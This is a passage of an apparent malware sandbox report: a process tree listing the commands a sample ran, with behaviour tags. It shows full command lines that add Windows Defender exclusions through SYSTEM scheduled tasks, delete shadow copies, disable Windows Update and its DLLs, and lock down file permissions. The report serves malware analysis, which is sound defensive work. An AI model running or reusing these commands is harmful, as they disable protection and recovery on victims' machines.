  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3700
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3864
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2636
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2280
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3908
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1748
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3972
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3216
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2056
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4936
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5068
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1564
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2660
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4108
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4828
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3300
- C:\Program Files (x86)\tj0DaN\tj0DaN.exe
  "C:\Program Files (x86)\tj0DaN\tj0DaN.exe"
  2⤵
  - UAC bypass
  - Drops file in Drivers directory
  - Checks computer location settings
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Drops file in Program Files directory
  - Event Triggered Execution: Screensaver
  - Reads the TCP/IP host and domain name from the registry
  - System Location Discovery: System Language Discovery
  - Modifies Control Panel
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:4944
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:4288
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\tj0DaN" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2544
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\tj0DaN" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5148
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:5160
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\tj0DaN\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2192
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\tj0DaN\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:5508
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:5764
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:4632
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1208
  - - C:\Windows\SysWOW64\net.exe
      net stop wuauserv
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5644
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop wuauserv
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4176
  - - C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      4⤵
      Launches sc.exe
      PID:5972
  - - C:\Windows\SysWOW64\sc.exe
      sc failure wuauserv reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:1372
  - - C:\Windows\SysWOW64\net.exe
      net stop UsoSvc
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2712
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop UsoSvc
        5⤵
        
        PID:4960
  - - C:\Windows\SysWOW64\sc.exe
      sc config UsoSvc start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:2556
  - - C:\Windows\SysWOW64\sc.exe
      sc failure UsoSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:2908
  - - C:\Windows\SysWOW64\net.exe
      net stop uhssvc
      4⤵
      System Location Discovery: System Language Discovery
      PID:3104
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop uhssvc
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2804
  - - C:\Windows\SysWOW64\sc.exe
      sc config uhssvc start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:2716
  - - C:\Windows\SysWOW64\sc.exe
      sc failure uhssvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:5628
  - - C:\Windows\SysWOW64\net.exe
      net stop WaaSMedicSvc
      4⤵
      System Location Discovery: System Language Discovery
      PID:4172
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop WaaSMedicSvc
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4436
  - - C:\Windows\SysWOW64\sc.exe
      sc config WaaSMedicSvc start= disabled
      4⤵
      Launches sc.exe
      PID:2744
  - - C:\Windows\SysWOW64\sc.exe
      sc failure WaaSMedicSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:3464
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\WaaSMedicSvc.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:5708
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5920
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:364
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3900
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\wuaueng.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1168
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4204
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:3348
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3016
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:4208
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f
      4⤵
      PID:4588
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
      4⤵
      PID:760
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4236
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:5420
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\tj0DaN" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5372
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\tj0DaN" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4864
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - Suspicious use of WriteProcessMemory
    PID:1132
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:3264
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:5788
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:6000
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2232
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:2188
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:5964
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:3504
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\tj0DaN" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1072
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\tj0DaN" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4880
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3528
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:6140
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:2008
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:5912
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\tj0DaN\tj0DaN.exe" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:6080
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\tj0DaN\tj0DaN.exe" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3940
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\tj0DaN\tj0DaN.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3756
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\tj0DaN\tj0DaN.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5992
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5624
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4184
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2060
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:2588
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\tj0DaN\tj0DaN.exe" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:688
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\tj0DaN\tj0DaN.exe" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4644
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\tj0DaN\image.png" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:3120
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\tj0DaN\image.png" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5448
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\tj0DaN\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:2244
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\tj0DaN\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4620
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\tj0DaN\image.png" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:1492
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\tj0DaN\image.png" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4776
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\tj0DaN\thumbs.db" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:4748
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\tj0DaN\thumbs.db" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1524
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\tj0DaN\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:6112
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\tj0DaN\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4160
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\tj0DaN\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:812
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\tj0DaN\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1844
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\tj0DaN\XPSPLOG.dll" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:4224
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\tj0DaN\XPSPLOG.dll" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2436
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\tj0DaN\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:2136
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\tj0DaN\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2392
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\tj0DaN\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:3532
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\tj0DaN\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:552

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\b2QaPa" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:6036
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\b2QaPa" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4148

C:\Users\Public\b2QaPa\h0cThC.exe
"C:\Users\Public\b2QaPa\h0cThC.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2356

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:1632

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3976
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4484

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4988
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:1020

